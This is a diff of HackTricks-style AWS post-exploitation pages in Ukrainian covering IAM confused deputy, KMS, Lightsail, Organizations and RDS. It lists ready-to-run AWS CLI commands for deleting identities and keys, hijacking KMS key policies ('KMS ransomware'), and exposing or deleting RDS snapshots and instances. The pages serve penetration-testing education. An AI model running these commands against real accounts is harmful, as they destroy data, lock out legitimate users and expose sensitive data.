+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+## Confused Deputy Problem
+
+Якщо ви **дозволяєте зовнішньому обліковому запису (A)** отримати доступ до **role** у вашому обліковому записі, ви, ймовірно, матимете **0 видимості** щодо **того, хто саме може отримати доступ до того зовнішнього облікового запису**. Це проблема, бо якщо інший зовнішній обліковий запис (B) може отримати доступ до зовнішнього облікового запису (A), то можливо, що **B також зможе отримати доступ до вашого облікового запису**.
+
+Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**.
+
+<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
+
+However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**.
+
+Приклад:
+```json
+{
+"Version": "2012-10-17",
+"Statement": {
+"Effect": "Allow",
+"Principal": {
+"AWS": "Example Corp's AWS Account ID"
+},
+"Action": "sts:AssumeRole",
+"Condition": {
+"StringEquals": {
+"sts:ExternalId": "12345"
+}
+}
+}
+}
+```
+> [!WARNING]
+> Щоб зловмисник міг експлуатувати confused deputy, йому потрібно якось з'ясувати, чи можуть principals поточного account impersonate roles в інших accounts.
+
+### Неочікувані довірчі відносини
+
+#### Wildcard як principal
+```json
+{
+"Action": "sts:AssumeRole",
+"Effect": "Allow",
+"Principal": { "AWS": "*" }
+}
+```
+Ця політика **дозволяє всім AWS** брати на себе роль.
+
+#### Сервіс як принципал
+```json
+{
+"Action": "lambda:InvokeFunction",
+"Effect": "Allow",
+"Principal": { "Service": "apigateway.amazonaws.com" },
+"Resource": "arn:aws:lambda:000000000000:function:foo"
+}
+```
+Ця політика **дозволяє будь-якому обліковому запису** налаштувати свій apigateway, щоб викликати цю Lambda.
+
+#### S3 як principal
+```json
+"Condition": {
+"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
+"StringEquals": {
+"aws:SourceAccount": "123456789012"
+}
+}
+```
+Якщо як principal вказано S3 bucket (оскільки S3 buckets не мають Account ID), і ви **видалили ваш bucket і attacker створив** його в своєму account, attacker міг би скористатися цим.
+
+#### Не підтримується
+```json
+{
+"Effect": "Allow",
+"Principal": { "Service": "cloudtrail.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
+}
+```
+A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources).
+
+### Видалення облікових даних
+Маючи будь-який із наступних дозволів — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — особа може видалити ключі доступу, профілі входу, SSH-ключі, облікові дані, специфічні для сервісу, профілі екземплярів, сертифікати або публічні ключі CloudFront, або відімкнути ролі від профілів екземплярів. Такі дії можуть негайно заблокувати легітимних користувачів і додатки та спричинити denial-of-service або втрату доступу для систем, що залежать від цих облікових даних, тому ці дозволи IAM мають бути суворо обмежені та під моніторингом.
+```bash
+# Remove Access Key of a user
+aws iam delete-access-key \
+--user-name <Username> \
+--access-key-id AKIAIOSFODNN7EXAMPLE
+
+## Remove ssh key of a user
+aws iam delete-ssh-public-key \
+--user-name <Username> \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE
+```
+### Видалення ідентичностей
+З дозволами, такими як `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` або `iam:RemoveUserFromGroup`, зловмисник може видаляти користувачів, ролі або групи — або змінювати членство в групах — видаляючи ідентичності та пов'язані сліди. Це може негайно порушити доступ для людей і сервісів, які залежать від цих ідентичностей, спричиняючи відмову в обслуговуванні або втрату доступу, тому ці дії IAM мають бути строго обмежені й контролюватися.
+```bash
+# Delete a user
+aws iam delete-user \
+--user-name <Username>
+
+# Delete a group
+aws iam delete-group \
+--group-name <Username>
+
+# Delete a role
+aws iam delete-role \
+--role-name <Role>
+```
+###
+Маючи будь-яке з наведених дозволів — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — актор може видаляти або від’єднувати керовані/вбудовані політики, видаляти версії політик або межі дозволів, а також відв’язувати політики від користувачів, груп або ролей. Це руйнує авторизації й може змінити модель дозволів, спричиняючи негайну втрату доступу або відмову в обслуговуванні для суб’єктів, які покладалися на ці політики, тому ці IAM-дії мають бути суворо обмежені та відстежувані.
+```bash
+# Delete a group policy
+aws iam delete-group-policy \
+--group-name <GroupName> \
+--policy-name <PolicyName>
+
+# Delete a role policy
+aws iam delete-role-policy \
+--role-name <RoleName> \
+--policy-name <PolicyName>
+```
+### Видалення федеративних провайдерів ідентичності
+За допомогою `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` та `iam:RemoveClientIDFromOpenIDConnectProvider` особа може видалити OIDC/SAML identity providers або видалити client IDs. Це порушує федеративну автентифікацію, перешкоджаючи token validation і негайно позбавляє доступу користувачів та сервісів, що покладаються на SSO, доки IdP або конфігурації не будуть відновлені.
+```bash
+# Delete OIDCP provider
+aws iam delete-open-id-connect-provider \
+--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
+
+# Delete SAML provider
+aws iam delete-saml-provider \
+--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
+```
+### Неправомірна активація MFA
+За допомогою `iam:EnableMFADevice` зловмисник може зареєструвати MFA-пристрій для облікового запису користувача, перешкоджаючи законному користувачу увійти. Після активації неавторизованого MFA користувач може бути заблокований допоки пристрій не буде видалено або скинуто (примітка: якщо зареєстровано декілька MFA-пристроїв, для входу вимагається лише один, тому ця атака не матиме ефекту відмови в доступі).
+```bash
+aws iam enable-mfa-device \
+--user-name <Username> \
+--serial-number arn:aws:iam::111122223333:mfa/alice \
+--authentication-code1 123456 \
+--authentication-code2 789012
+```
+### Маніпуляція метаданими сертифікатів/ключів
+За допомогою `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` зловмисник може змінити статус або метадані публічних ключів та сертифікатів. Позначивши ключі/сертифікати як неактивні або змінивши посилання, вони можуть порушити SSH-аутентифікацію, анулювати перевірки X.509/TLS та негайно порушити роботу сервісів, що залежать від цих облікових даних, спричинивши втрату доступу або доступності.
+```bash
+aws iam update-ssh-public-key \
+--user-name <Username> \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
+--status Inactive
+
+aws iam update-server-certificate \
+--server-certificate-name <Certificate_Name> \
+--new-path /prod/
+```
+## Посилання
+
+- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md

@@ -1,182 +0,0 @@
-# AWS - KMS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-For more information check:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### Encrypt/Decrypt information
-
-`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
-
-- `fileb://:` Читає файл у бінарному режимі, зазвичай використовується для non-text файлів.
-- `file://:` Читає файл у текстовому режимі, зазвичай використовується для простих текстових файлів, скриптів або JSON, які не мають спеціальних вимог до кодування.
-
-> [!TIP]
-> Зверніть увагу, що якщо ви хочете розшифрувати деякі дані всередині файлу, файл має містити бінарні дані, а не base64-кодовані дані. (fileb://)
-
-- Using a **symmetric** key
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---output text \
---query Plaintext | base64 \
---decode
-```
-- Використання **асиметричного** ключа:
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---output text \
---query Plaintext | base64 \
---decode
-```
-### KMS Ransomware
-
-Атакуючий із привілейованим доступом до KMS може змінити політику KMS для ключів і **надати своєму обліковому запису доступ до них**, одночасно видаливши доступ, наданий легітимному обліковому запису.
-
-Тоді користувачі легітимного облікового запису не зможуть отримати доступ до жодної інформації будь-якого сервісу, зашифрованої цими ключами, створюючи простий, але ефективний ransomware проти облікового запису.
-
-> [!WARNING]
-> Зауважте, що **AWS managed keys не зачеплені** цим нападом, лише **Customer managed keys**.
->
-> Також зверніть увагу на необхідність використання параметра **`--bypass-policy-lockout-safety-check`** (відсутність цієї опції у веб-консолі робить цю атаку можливою лише з CLI).
-```bash
-# Force policy change
-aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
---policy-name default \
---policy file:///tmp/policy.yaml \
---bypass-policy-lockout-safety-check
-
-{
-"Id": "key-consolepolicy-3",
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "Enable IAM User Permissions",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::<your_own_account>:root"
-},
-"Action": "kms:*",
-"Resource": "*"
-}
-]
-}
-```
-> [!CAUTION]
-> Зверніть увагу, що якщо ви зміните цю політику й надасте доступ лише зовнішньому акаунту, а потім з цього зовнішнього акаунту спробуєте встановити нову політику, щоб **повернути доступ до оригінального акаунту, у вас не вийде, бо дія Put Polocy не може бути виконана з крос-акаунту**.
-
-<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
-
-### Generic KMS Ransomware
-
-Існує ще один спосіб виконати глобальний KMS Ransomware, який передбачає такі кроки:
-
-- Створити новий **ключ із матеріалом ключа**, імпортованим зловмисником
-- **Пере-шифрувати старі дані** жертви, зашифровані попередньою версією, новим ключем
-- **Видалити KMS key**
-- Тепер тільки зловмисник, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані
-
-### Delete Keys via kms:DeleteImportedKeyMaterial
-
-З дозволом `kms:DeleteImportedKeyMaterial` актор може видаляти імпортований матеріал ключа з CMKs з `Origin=EXTERNAL` (CMKs, які імпортували свій матеріал ключа), роблячи їх нездатними розшифрувати дані. Ця дія є руйнівною й незворотною, якщо не буде повторно імпортовано сумісний матеріал, що дозволяє зловмиснику фактично спричинити ransomware-подібну втрату даних, зробивши зашифровану інформацію постійно недоступною.
-```bash
-aws kms delete-imported-key-material --key-id <Key_ID>
-```
-### Знищення ключів
-
-Знищення ключів може призвести до DoS.
-```bash
-# Schedule the destoy of a key (min wait time is 7 days)
-aws kms schedule-key-deletion \
---key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
---pending-window-in-days 7
-```
-> [!CAUTION]
-> Зверніть увагу, що AWS тепер **не дозволяє виконувати попередні дії з cross-account:**
-
-### Зміна або видалення Alias
-Ця атака видаляє або перенаправляє AWS KMS aliases, порушуючи розв'язання ключів та спричиняючи негайні збої в будь-яких сервісах, що покладаються на ці aliases, внаслідок чого виникає відмова в обслуговуванні. Маючи дозволи на кшталт `kms:DeleteAlias` або `kms:UpdateAlias`, атакувальник може видалити або перенаправити aliases і порушити криптографічні операції (e.g., encrypt, describe). Будь-який сервіс, який посилається на alias замість key ID, може не працювати, поки alias не буде відновлено або правильно перенаправлено.
-```bash
-# Delete Alias
-aws kms delete-alias --alias-name alias/<key_alias>
-
-# Update Alias
-aws kms update-alias \
---alias-name alias/<key_alias> \
---target-key-id <new_target_key>
-```
-### Cancel Key Deletion
-Маючи дозволи, наприклад `kms:CancelKeyDeletion` та `kms:EnableKey`, зловмисник може скасувати заплановане видалення AWS KMS customer master key і пізніше знову його увімкнути. Це відновлює ключ (спочатку в Disabled state) і відновлює його здатність дешифрувати раніше захищені дані, що дозволяє exfiltration.
-```bash
-# Firts cancel de deletion
-aws kms cancel-key-deletion \
---key-id <Key_ID>
-
-## Second enable the key
-aws kms enable-key \
---key-id <Key_ID>
-```
-### Вимкнення ключа
-Маючи дозвіл `kms:DisableKey`, актор може вимкнути AWS KMS customer master key, унеможлививши його використання для шифрування або розшифрування. Це призведе до втрати доступу для будь-яких сервісів, які залежать від цього CMK, і може спричинити негайні збої або denial-of-service до тих пір, поки ключ не буде знову увімкнено.
-```bash
-aws kms disable-key \
---key-id <key_id>
-```
-### Виведення спільного секрету
-За наявності дозволу `kms:DeriveSharedSecret` актор може використати приватний ключ, що зберігається в KMS, разом із публічним ключем, наданим користувачем, щоб обчислити ECDH-спільний секрет.
-```bash
-aws kms derive-shared-secret \
---key-id <key_id> \
---public-key fileb:///<route_to_public_key> \
---key-agreement-algorithm <algorithm>
-```
-### Impersonation via kms:Sign
-З дозволом `kms:Sign` актор може використовувати KMS-stored CMK для криптографічного підписування даних без розкриття private key, створюючи дійсні підписи, які можуть дозволити impersonation або авторизувати шкідливі дії.
-```bash
-aws kms sign \
---key-id <key-id> \
---message fileb://<ruta-al-archivo> \
---signing-algorithm <algoritmo> \
---message-type RAW
-```
-### DoS with Custom Key Stores
-З правами, такими як `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` або `kms:UpdateCustomKeyStore`, зловмисник може змінити, відключити або видалити AWS KMS Custom Key Store (CKS), через що його головні ключі стануть непрацюючими. Це порушує операції шифрування, розшифрування та підписування для будь-яких сервісів, які покладаються на ці ключі, і може спричинити негайний denial-of-service. Тому критично важливо обмежувати та моніторити ці дозволи.
-```bash
-aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
-
-aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
-
-aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
-```
-<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md

@@ -0,0 +1,182 @@
+# AWS - KMS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+Для додаткової інформації див.:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Encrypt/Decrypt information
+
+`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
+
+- `fileb://:` Читає файл у двійковому режимі, зазвичай використовується для нетекстових файлів.
+- `file://:` Читає файл у текстовому режимі, зазвичай використовується для простих текстових файлів, скриптів або JSON, що не має спеціальних вимог кодування.
+
+> [!TIP]
+> Зверніть увагу, якщо ви хочете розшифрувати дані у файлі, файл має містити двійкові дані, а не base64-кодовані дані. (fileb://)
+
+- Using a **symmetric** key
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+- Використання **асиметричного** ключа:
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+### KMS Ransomware
+
+Зловмисник із привілеями в KMS може змінити KMS policy ключів і **надати своєму обліковому запису доступ до них**, видаливши доступ, наданий легітимному обліковому запису.
+
+Внаслідок цього користувачі легітимного облікового запису не зможуть отримати доступ до жодної інформації будь-якого сервісу, зашифрованої цими ключами, створивши простий, але ефективний ransomware проти облікового запису.
+
+> [!WARNING]
+> Зверніть увагу, що **AWS managed keys aren't affected** цією атакою — уражаються лише **Customer managed keys**.
+
+> Також зауважте, що потрібно використовувати параметр **`--bypass-policy-lockout-safety-check`** (відсутність цієї опції в web console робить цю атаку можливою лише через CLI).
+```bash
+# Force policy change
+aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
+--policy-name default \
+--policy file:///tmp/policy.yaml \
+--bypass-policy-lockout-safety-check
+
+{
+"Id": "key-consolepolicy-3",
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Enable IAM User Permissions",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<your_own_account>:root"
+},
+"Action": "kms:*",
+"Resource": "*"
+}
+]
+}
+```
+> [!CAUTION]
+> Зверніть увагу, що якщо ви зміните цю політику й дасте доступ лише зовнішньому акаунту, а потім із цього зовнішнього акаунта спробуєте встановити нову політику, щоб **повернути доступ до початкового акаунту, ви не зможете, оскільки дію Put Polocy неможливо виконати з cross account**.
+
+<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
+
+### Generic KMS Ransomware
+
+Існує інший спосіб реалізації глобального KMS Ransomware, який включає такі кроки:
+
+- Створити новий **ключ із матеріалом ключа**, імпортованим атакуючим
+- **Перешифрувати старі дані** жертви, зашифровані попередньою версією, новою
+- **Видалити KMS key**
+- Тепер лише атакуючий, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані
+
+### Видалення ключів через kms:DeleteImportedKeyMaterial
+
+Маючи дозвіл `kms:DeleteImportedKeyMaterial`, діяч може видалити імпортований матеріал ключа з CMKs з `Origin=EXTERNAL` (CMKs, які імпортували свій матеріал ключа), роблячи їх нездатними розшифрувати дані. Ця дія є руйнівною та незворотною, якщо сумісний матеріал не буде повторно імпортовано, дозволяючи атакуючому фактично спричинити ransomware-like втрату даних, зробивши зашифровану інформацію постійно недоступною.
+```bash
+aws kms delete-imported-key-material --key-id <Key_ID>
+```
+### Знищення ключів
+
+Знищення ключів може спричинити DoS.
+```bash
+# Schedule the destoy of a key (min wait time is 7 days)
+aws kms schedule-key-deletion \
+--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
+--pending-window-in-days 7
+```
+> [!CAUTION]
+> Зауважте, що AWS тепер **запобігає виконанню попередніх дій з іншого акаунту:**
+
+### Змінити або видалити Alias
+Ця атака видаляє або перенаправляє AWS KMS aliases, порушуючи розв'язання ключа і спричиняючи негайні збої в сервісах, які покладаються на ці aliases, що призводить до відмови в обслуговуванні. Маючи дозволи на зразок `kms:DeleteAlias` або `kms:UpdateAlias`, зловмисник може видалити або перенаправити aliases і порушити криптографічні операції (наприклад, encrypt, describe). Будь-який сервіс, який посилається на alias замість key ID, може перестати працювати, поки alias не буде відновлено або правильно повторно зіставлено.
+```bash
+# Delete Alias
+aws kms delete-alias --alias-name alias/<key_alias>
+
+# Update Alias
+aws kms update-alias \
+--alias-name alias/<key_alias> \
+--target-key-id <new_target_key>
+```
+### Cancel Key Deletion
+Маючи дозволи на кшталт `kms:CancelKeyDeletion` та `kms:EnableKey`, зловмисник може скасувати заплановане видалення AWS KMS customer master key і згодом знову його увімкнути. Це відновлює ключ (спочатку у Disabled стані) та повертає можливість розшифровувати раніше захищені дані, що дозволяє exfiltration.
+```bash
+# Firts cancel de deletion
+aws kms cancel-key-deletion \
+--key-id <Key_ID>
+
+## Second enable the key
+aws kms enable-key \
+--key-id <Key_ID>
+```
+### Вимкнення ключа
+Маючи дозвіл `kms:DisableKey`, зловмисник може вимкнути AWS KMS customer master key, перешкоджаючи його використанню для encryption або decryption. Це порушує доступ для будь-яких сервісів, що залежать від цього CMK, і може спричинити негайні перебої або denial-of-service, доки ключ не буде знову увімкнено.
+```bash
+aws kms disable-key \
+--key-id <key_id>
+```
+### Derive Shared Secret
+Маючи дозвіл `kms:DeriveSharedSecret`, актор може використати приватний ключ, що зберігається в KMS, разом із наданим користувачем публічним ключем для обчислення спільної таємниці ECDH.
+```bash
+aws kms derive-shared-secret \
+--key-id <key_id> \
+--public-key fileb:///<route_to_public_key> \
+--key-agreement-algorithm <algorithm>
+```
+### Імперсонація через `kms:Sign`
+Маючи дозвіл `kms:Sign`, зловмисник може використати збережений у KMS CMK для криптографічного підпису даних без розкриття приватного ключа, створюючи дійсні підписи, що можуть дозволити імперсонацію або авторизувати шкідливі дії.
+```bash
+aws kms sign \
+--key-id <key-id> \
+--message fileb://<ruta-al-archivo> \
+--signing-algorithm <algoritmo> \
+--message-type RAW
+```
+### DoS with Custom Key Stores
+Маючи дозволи на кшталт `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` або `kms:UpdateCustomKeyStore`, зловмисник може змінити, відключити або видалити AWS KMS Custom Key Store (CKS), зробивши його основні ключі непрацездатними. Це порушує операції шифрування, дешифрування та підписування для будь-яких сервісів, які покладаються на ці ключі, і може спричинити негайний denial-of-service. Отже, критично важливо обмежувати та моніторити ці дозволи.
+```bash
+aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
+```
+<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md

@@ -1,30 +0,0 @@
-# AWS - Lightsail Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Для отримання додаткової інформації, перегляньте:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### Відновлення старих знімків бази даних
-
-Якщо у бази даних є знімки, ви можете **знайти чутливу інформацію, яка наразі видалена в старих знімках**. **Відновіть** знімок у **новій базі даних** та перевірте його.
-
-### Відновлення знімків екземплярів
-
-Знімки екземплярів можуть містити **чутливу інформацію** вже видалених екземплярів або чутливу інформацію, яка видалена в поточному екземплярі. **Створіть нові екземпляри з знімків** та перевірте їх.\
-Або **експортуйте знімок в AMI в EC2** та дотримуйтесь кроків типового екземпляра EC2.
-
-### Доступ до чутливої інформації
-
-Перегляньте варіанти privesc Lightsail, щоб дізнатися різні способи доступу до потенційно чутливої інформації:
-
-{{#ref}}
-../aws-privilege-escalation/aws-lightsail-privesc.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md

@@ -0,0 +1,30 @@
+# AWS - Lightsail Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Для отримання додаткової інформації перевірте:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Restore old DB snapshots
+
+Якщо у DB є snapshots, ви можете **знайти чутливу інформацію, яка наразі була видалена в старих snapshots**. **Відновіть** snapshot у **новій базі даних** і перевірте його.
+
+### Restore Instance Snapshots
+
+Instance snapshots можуть містити **чутливу інформацію** вже видалених instances або чутливі дані, які видалені в поточному instance. **Створіть нові instances з snapshots** і перевірте їх.\
+Або **export the snapshot to an AMI in EC2** і слідуйте крокам для типового EC2 instance.
+
+### Access Sensitive Information
+
+Перегляньте опції Lightsail privesc, щоб дізнатися різні способи доступу до потенційно чутливої інформації:
+
+{{#ref}}
+../../aws-privilege-escalation/aws-lightsail-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md

@@ -1,17 +0,0 @@
-# AWS - Організації Після Експлуатації
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Організації
-
-Для отримання додаткової інформації про AWS Organizations перегляньте:
-
-{{#ref}}
-../aws-services/aws-organizations-enum.md
-{{#endref}}
-
-### Вийти з організації
-```bash
-aws organizations deregister-account --account-id <account_id> --region <region>
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md

@@ -0,0 +1,17 @@
+# AWS - Organizations Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Organizations
+
+Детальніше про AWS Organizations дивіться:
+
+{{#ref}}
+../../aws-services/aws-organizations-enum.md
+{{#endref}}
+
+### Вийти з Org
+```bash
+aws organizations deregister-account --account-id <account_id> --region <region>
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md

@@ -1,18 +1,18 @@
 # AWS - RDS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
-Для додаткової інформації дивись:
+Для отримання додаткової інформації див.:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-Якщо в нападника є достатні права, він може зробити **DB публічно доступною**, створивши знімок (snapshot) DB, а потім відновивши з цього знімка публічно доступну DB.
+Якщо в атакуючого є достатні дозволи, він може зробити **DB публічно доступною**, створивши знімок (snapshot) бази даних, а потім відновивши з нього публічно доступну DB.
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
 ```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
-Зловмисник з цими дозволами може **створити snapshot DB** і зробити його **публічно доступним**. Потім він може просто створити у своєму акаунті DB з цього snapshot.
+Атакуючий із такими дозволами може **створити сніпшот DB** і зробити його **публічно** **доступним**. Потім він може просто створити у власному акаунті DB з цього сніпшоту.
 
-Якщо зловмисник **не має `rds:CreateDBSnapshot`**, він все одно може зробити **інші** створені snapshots **публічними**.
+Якщо атакуючий **не має `rds:CreateDBSnapshot`**, він все одно може зробити **інші** створені сніпшоти **публічними**.
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,48 +53,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`
 
-Зловмисник з дозволом `rds:DownloadDBLogFilePortion` може **завантажувати частини лог-файлів екземпляра RDS**. Якщо чутливі дані або облікові дані доступу випадково потрапили до логів, зловмисник потенційно може використати цю інформацію для підвищення своїх привілеїв або виконання несанкціонованих дій.
+Зловмисник із дозволом `rds:DownloadDBLogFilePortion` може **download portions of an RDS instance's log files**. Якщо чутливі дані або облікові дані доступу випадково заносяться до журналів, зловмисник потенційно може використати цю інформацію для підвищення своїх привілеїв або виконання несанкціонованих дій.
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**Potential Impact**: Доступ до конфіденційної інформації або несанкціоновані дії, використовуючи leaked credentials.
+**Potential Impact**: Доступ до конфіденційної інформації або несанкціоновані дії з використанням leaked credentials.
 
 ### `rds:DeleteDBInstance`
 
-Зловмисник з такими дозволами може **DoS існуючих RDS інстансів**.
+Зловмисник з цими дозволами може **DoS існуючі RDS instances**.
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-**Потенційний вплив**: Видалення існуючих RDS інстансів і потенційна втрата даних.
+**Можливі наслідки**: Видалення існуючих RDS instances та можливі втрати даних.
 
 ### `rds:StartExportTask`
 
 > [!NOTE]
 > TODO: Перевірити
 
-Зловмисник з цим дозволом може **експортувати знімок інстансу RDS до S3 bucket**. Якщо зловмисник контролює цільовий S3 bucket, він потенційно може отримати доступ до чутливих даних у експортованому знімку.
+Зловмисник з цим дозволом може **експортувати RDS instance snapshot до S3 bucket**. Якщо зловмисник має контроль над цільовим S3 bucket, він може потенційно отримати доступ до конфіденційних даних у експортованому snapshot.
 ```bash
